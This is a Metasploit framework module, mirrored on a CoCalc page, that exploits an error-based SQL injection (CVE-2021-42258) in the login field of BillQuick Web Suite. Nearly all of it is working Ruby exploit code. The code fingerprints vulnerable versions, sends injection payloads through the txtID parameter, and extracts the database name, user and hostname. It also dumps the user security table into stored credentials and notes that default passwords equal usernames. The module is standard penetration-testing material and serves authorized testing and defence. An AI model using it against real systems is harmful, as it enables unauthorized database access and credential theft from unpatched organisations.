CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/billquick_txtid_sqli.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
prepend Msf::Exploit::Remote::AutoCheck
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Auxiliary::Report
11
include Msf::Exploit::SQLi
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'BillQuick Web Suite txtID SQLi',
18
'Description' => %q{
19
This module exploits a SQL injection vulnerability in BillQUick Web Suite prior to version 22.0.9.1.
20
The application is .net based, and the database is required to be MSSQL. Luckily the website gives
21
error based SQLi messages, so it is trivial to pull data from the database. However the webapp
22
uses an unknown password security algorithm. This vulnerability does not seem to support stacked
23
queries.
24
This module pulls the database name, banner, user, hostname, and the SecurityTable (user table).
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'h00die', # msf module
29
'Caleb Stewart <caleb.stewart94[at]gmail.com>' # original PoC, analysis
30
],
31
'References' => [
32
['URL', 'https://www.huntress.com/blog/threat-advisory-hackers-are-exploiting-a-vulnerability-in-popular-billing-software-to-deploy-ransomware'],
33
['URL', 'http://billquick.net/download/Support_Download/BQWS2021Upgrade/WebSuite2021LogFile_9_1.pdf'],
34
['CVE', '2021-42258']
35
],
36
'DefaultOptions' => {
37
'HttpClientTimeout' => 15 # The server tends to be super slow, so allow 15sec per request
38
},
39
'DisclosureDate' => '2021-10-22',
40
'Notes' => {
41
'Stability' => [CRASH_SAFE],
42
'Reliability' => [],
43
'SideEffects' => [IOC_IN_LOGS]
44
}
45
)
46
)
47
register_options(
48
[
49
Opt::RPORT(80),
50
OptString.new('TARGETURI', [ true, 'The URI of BillQuick Web Suite', '/ws2020/'])
51
], self.class
52
)
53
end
54
55
def check
56
begin
57
res = send_request_cgi({
58
'uri' => normalize_uri(target_uri.path, 'default.aspx'),
59
'method' => 'GET'
60
}, datastore['HttpClientTimeout'])
61
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
62
return Exploit::CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
63
64
%r{Version: (?<version>\d{1,2}\.\d{1,2}\.\d{1,2})\.\d{1,2}</span>} =~ res.body
65
66
if version && Rex::Version.new(version) <= Rex::Version.new('22.0.9.1')
67
return Exploit::CheckCode::Appears("Version Detected: #{version}")
68
end
69
rescue ::Rex::ConnectionError
70
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to the web service")
71
end
72
Exploit::CheckCode::Safe("Unexploitable Version: #{version}")
73
end
74
75
def rand_chars(len = 6)
76
Rex::Text.rand_text_alpha(len)
77
end
78
79
def error_info(body)
80
body[/BQEShowModalAlert\('Information','([^']+)/, 1]
81
end
82
83
def inject(content, state, generator, validation)
84
res = send_request_cgi({
85
'uri' => normalize_uri(target_uri.path, 'default.aspx'),
86
'method' => 'POST',
87
'vars_post' => {
88
'__VIEWSTATE' => state,
89
'__VIEWSTATEGENERATOR' => generator,
90
'__EVENTVALIDATION' => validation,
91
'__EVENTTARGET' => 'cmdOK',
92
'__EVENTARGUMENT' => '',
93
'txtID' => content,
94
'txtPW' => '',
95
'hdnClientDPI' => '96'
96
}
97
}, datastore['HttpClientTimeout'])
98
99
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
100
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
101
res.body
102
end
103
104
def run
105
vprint_status('Getting Variables')
106
res = send_request_cgi({
107
'uri' => normalize_uri(target_uri.path, 'default.aspx'),
108
'method' => 'GET'
109
}, datastore['HttpClientTimeout'])
110
111
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
112
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
113
114
/id="__VIEWSTATE" value="(?<viewstate>[^"]+)/ =~ res.body
115
/id="__VIEWSTATEGENERATOR" value="(?<viewstategenerator>[^"]+)/ =~ res.body
116
/id="__EVENTVALIDATION" value="(?<eventvalidation>[^"]+)/ =~ res.body
117
unless viewstate && viewstategenerator && eventvalidation
118
fail_with(Failure::UnexpectedReply, 'Unable to find viewstate, viewstategenerator, and eventvalidation values.')
119
end
120
vprint_status("VIEWSTATE: #{viewstate}")
121
vprint_status("VIEWSTATEGENERATOR: #{viewstategenerator}")
122
vprint_status("EVENTVALIDATION: #{eventvalidation}")
123
124
header = rand_chars
125
footer = rand_chars
126
127
service = {
128
address: rhost,
129
port: datastore['RPORT'],
130
protocol: 'tcp',
131
service_name: 'BillQuick Web Suite',
132
workspace_id: myworkspace_id
133
}
134
report_service(service)
135
136
sqli = create_sqli(dbms: Msf::Exploit::SQLi::Mssqli::Common, opts: { safe: true, encoder: { encode: "'#{header}'+^DATA^+'#{footer}'", decode: ->(x) { x[/#{header}(.+?)#{footer}/mi, 1] } } }) do |payload|
137
int = Rex::Text.rand_text_numeric(4)
138
res = inject("'+(select '' where #{int} in (#{payload}))+'", viewstate, viewstategenerator, eventvalidation)
139
err_info = error_info(res)
140
print_error('Unexpected output from the server') if err_info.nil?
141
err_info[/\\u0027(.+?)\\u0027/m, 1]
142
end
143
144
# all inject strings taken from sqlmap runs, using error page method
145
database = sqli.current_database
146
print_good("Current Database: #{database}")
147
report_note(host: rhost, port: rport, type: 'database', data: database)
148
149
banner = sqli.version.gsub('\n', "\n").gsub('\t', "\t")
150
print_good("Banner: #{banner}")
151
152
user = sqli.current_user
153
print_good("DB User: #{user}")
154
155
credential_data = {
156
origin_type: :service,
157
module_fullname: fullname,
158
username: user,
159
private_type: :nonreplayable_hash,
160
private_data: ''
161
}.merge(service)
162
create_credential(credential_data)
163
164
hostname = sqli.hostname
165
print_good("Hostname: #{hostname}")
166
167
report_host(host: rhost, name: hostname, info: banner, os_name: OperatingSystems::WINDOWS)
168
169
sec_table = sqli.dump_table_fields("#{database}.dbo.SecurityTable", %w[EmployeeID Settings], 'ModuleID=0')
170
171
table = Rex::Text::Table.new(
172
'Header' => "#{database}.dbo.SecurityTable",
173
'Indent' => 1,
174
'SortIndex' => -1,
175
'Columns' =>
176
[
177
'EmployeeID',
178
'Settings',
179
]
180
)
181
182
sec_table.each do |(username, settings)|
183
table << [username, settings]
184
credential_data = {
185
origin_type: :service,
186
module_fullname: fullname,
187
username: username,
188
private_type: :nonreplayable_hash, # prob encrypted not hash, so lies.
189
private_data: settings.split('|').first
190
}.merge(service)
191
create_credential(credential_data)
192
end
193
print_good(table.to_s)
194
print_status('Default password is the username.')
195
end
196
end
197
198